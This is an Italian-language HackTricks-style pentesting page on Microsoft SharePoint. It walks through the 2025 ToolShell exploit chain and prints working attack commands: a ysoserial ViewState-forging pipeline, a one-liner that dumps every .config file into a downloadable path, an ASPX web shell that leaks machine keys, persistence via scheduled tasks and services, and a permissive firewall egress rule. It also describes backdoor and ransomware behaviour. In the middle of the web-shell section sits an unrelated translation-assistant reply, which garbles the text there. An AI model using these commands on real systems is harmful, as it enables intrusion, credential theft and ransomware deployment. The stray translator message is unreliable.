Microsoft SharePoint – Pentesting & Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Microsoft SharePoint (on-premises) è basato su ASP.NET/IIS. Di conseguenza la maggior parte della classica web attack surface (ViewState, Web.Config, web shells, etc.) è presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e web services che ampliano drasticamente la attack surface esposta. Questa pagina raccoglie trucchi pratici per enumerate, exploit e persist all’interno di ambienti SharePoint, con enfasi sulla exploit chain del 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. Catena di exploit 2025 (nota anche come “ToolShell”)
2.1 CVE-2025-49704 – Code Injection su ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> consente di iniettare codice Server-Side Include arbitrario nella pagina che viene poi compilato da ASP.NET. Un attacker può incorporare C# che esegue Process.Start() e depositare un ViewState malevolo.
2.2 CVE-2025-49706 – Improper Authentication Bypass
La stessa pagina si fida dell’header X-Forms_BaseUrl per determinare il contesto del sito. Puntandolo su /_layouts/15/, l’MFA/SSO applicata al sito radice può essere bypassata senza autenticazione.
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
Una volta che l’attacker controlla un gadget in ToolPane.aspx, può postare un valore __VIEWSTATE unsigned (o MAC-only) che innesca la deserializzazione .NET all’interno di w3wp.exe portando all’esecuzione di codice.
Se la firma è abilitata, rubare la ValidationKey/DecryptionKey da qualsiasi web.config (vedi 2.4) e forgiare il payload con ysoserial.net o ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
L’invio di un parametro Source manipolato a ToolPane.aspx (es. ../../../../web.config) restituisce il file bersaglio, consentendo leak di:
<machineKey validationKey="…" decryptionKey="…">➜ forge ViewState / ASPXAUTH cookies- connection strings & secrets.
2.5 ToolShell workflow osservato nelle intrusioni di Ink Dragon
Check Point ha mappato come Ink Dragon abbia reso operativa la catena ToolShell mesi prima che Microsoft rilasciasse le correzioni:
- Header spoofing for auth bypass – l’attore invia POST a
/_layouts/15/ToolPane.aspxconReferer: https://<victim>/_layouts/15/più un fintoX-Forms_BaseUrl. Quegli header convincono SharePoint che la richiesta provenga da un layout attendibile e saltano completamente l’autenticazione front-door (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request – il body include dati ViewState/ToolPart controllati dall’attaccante che raggiungono il formatter lato server vulnerabile (CVE-2025-49704/CVE-2025-53770). Il payload è di solito una catena ysoserial.net che viene eseguita all’interno di
w3wp.exesenza mai toccare il disco. - Internet-scale scanning – la telemetry di luglio 2025 mostra che hanno enumerato ogni endpoint raggiungibile
/_layouts/15/ToolPane.aspxe riprodotto un dizionario di coppie<machineKey>leaked. Qualsiasi sito che abbia copiato un samplevalidationKeydalla documentazione può essere compromesso anche se altrimenti completamente patchato (vedi la pagina ViewState per il workflow di firma). - Immediate staging – lo sfruttamento riuscito deposita un loader o PowerShell stager che: (1) estrae ogni
web.config, (2) pianta una ASPX webshell per accesso di contingenza, e (3) pianifica una Potato privesc locale per evadere il worker IIS.
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Il file risultante debug_dev.js può essere scaricato in modo anonimo e contiene tutte le configurazioni sensibili.
3.2 Deploy a Base64-encoded ASPX web shell (variation-2)
powershell.exe -EncodedCommand <base64>
Esempio di payload decodificato (abbreviato):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Sembra che il messaggio sia incompleto — hai inviato solo “Written to:”. Per favore incolla il contenuto del file src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md che vuoi tradurre (o conferma che devo tradurre l’intero file). Tradurrò il testo in inglese rilevante in italiano mantenendo intatti codice, link, tag e percorsi come richiesto.
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
La shell espone endpoint per leggere / ruotare le chiavi macchina che permette di falsificare i cookie ViewState e ASPXAUTH nella farm.
3.3 Variante offuscata (variation-3)
Stessa shell ma:
- posizionata sotto
...\15\TEMPLATE\LAYOUTS\ - nomi delle variabili ridotti a singole lettere
Thread.Sleep(<ms>)aggiunto per sandbox-evasion & timing-based AV bypass.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (osservati 2025-2026)
Indagini recenti di incident-response (Unit42 “Project AK47”) mostrano come gli attaccanti sfruttino la catena ToolShell after initial RCE per distribuire un impianto C2 a canale doppio e ransomware negli ambienti SharePoint:
AK47C2 – dnsclient variante
- DNS server hard-coded:
10.7.66.10che comunica con il dominio autoritativoupdate.updatemicfosoft.com. - I messaggi sono oggetti JSON XOR-encrypted con la chiave statica
VHBD@H, hex-encoded e incorporati come sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Le query lunghe vengono frammentate e prefissate con
s, poi riassemblate lato server. - Il server risponde in record TXT che trasportano lo stesso schema XOR/hex:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- La versione 202504 ha introdotto un formato semplificato
<COMMAND>::<SESSION_KEY>e marcatori di chunk1,2,a.
AK47C2 – httpclient variante
- Riusa la stessa routine JSON & XOR ma invia il blob hex nel HTTP POST body tramite
libcurl(CURLOPT_POSTFIELDS, ecc.). - Stesso workflow task/result che consente:
- Esecuzione arbitraria di comandi shell.
- Intervallo di sleep dinamico e istruzioni di kill-switch.
X2ANYLOCK ransomware
- Payload C++ a 64-bit caricato tramite DLL side-loading (vedi sotto).
- Usa AES-CBC per i dati dei file + RSA-2048 per avvolgere la chiave AES, poi aggiunge l’estensione
.x2anylock. - Cripta ricorsivamente le unità locali e le SMB shares scoperte; salta i percorsi di sistema.
- Deposita una nota in clear-text
How to decrypt my data.txtche incorpora un Tox ID statico per le negoziazioni. - Contiene un kill-switch interno:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- L’attaccante scrive
dllhijacked.dll/My7zdllhijacked.dllaccanto a un legittimo7z.exe. w3wp.exeavviato da SharePoint lancia7z.exe, che carica la DLL malevola a causa dell’ordine di ricerca di Windows, invocando l’entrypoint del ransomware in memoria.- Un loader LockBit separato osservato (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) decritta shell-code ed esegue DLL hollowing ind3dl1.dllper eseguire LockBit 3.0.
[!INFO] Lo stesso statico Tox ID trovato in X2ANYLOCK appare in leaked LockBit databases, suggerendo sovrapposizione tra affiliati.
3.5 Trasformare il loot di SharePoint in movimento laterale
- Decriptare ogni sezione protetta – una volta presenti nel web tier, abusare di
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(o-px "appSettings") per scaricare i segreti in clear-text nascosti dietro<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon ha ripetutamente raccolto login SQL, relay SMTP e credenziali di servizio custom in questo modo. - Riciclare account app-pool across farms – molte aziende riutilizzano lo stesso account di dominio per
IIS APPPOOL\SharePointsu ogni front-end. Dopo aver decriptato i blocchiidentity impersonate="..."o lettoApplicationHost.config, testare la credenziale via SMB/RDP/WinRM su ogni server sibling. In diversi incidenti l’account era anche amministratore locale, permettendopsexec,sc create, o lo staging tramite scheduled-task senza innescare password sprays. - Abuse leaked
<machineKey>values internally – anche se il perimetro internet viene patchato, riutilizzare lo stessovalidationKey/decryptionKeypermette lo sfruttamento laterale di ViewState tra zone SharePoint interne che si fidano l’una dell’altra.
3.6 Pattern di persistenza osservati nelle intrusioni del 2025
- Scheduled tasks – viene creato un task one-shot chiamato
SYSCHECK(o altri nomi a tema “health”) con/ru SYSTEM /sc once /st <hh:mm>per bootstrap del loader next-stage (comunemente unconhost.exerinominato). Poiché viene eseguito una sola volta, la telemetry spesso lo perde a meno che l’XML storico del task non sia preservato. - Mascheramento dei servizi – servizi come
WindowsTempUpdate,WaaSMaintainer, oMicrosoftTelemetryHostvengono installati viasc createpuntando alla directory della triade di sideloading. I binari mantengono le loro firme originali AMD/Realtek/NVIDIA ma vengono rinominati per corrispondere ai componenti Windows; confrontare il nome su disco con il campo PEOriginalFileNameè un rapido controllo di integrità.
3.7 Host firewall downgrades for relay traffic
Ink Dragon aggiunge routinariamente una regola outbound permissiva che si maschera da manutenzione di Defender in modo che il traffico ShadowPad/FinalDraft possa uscire su qualsiasi porta:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
Poiché la regola è creata localmente (non tramite GPO) e utilizza il binario legittimo di Defender come program=, la maggior parte delle baseline SOC la ignora, eppure apre un egress Any ➜ Any.
Trucchi correlati
- IIS post-exploitation & web.config abuse:
IIS - Internet Information Services
Riferimenti
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


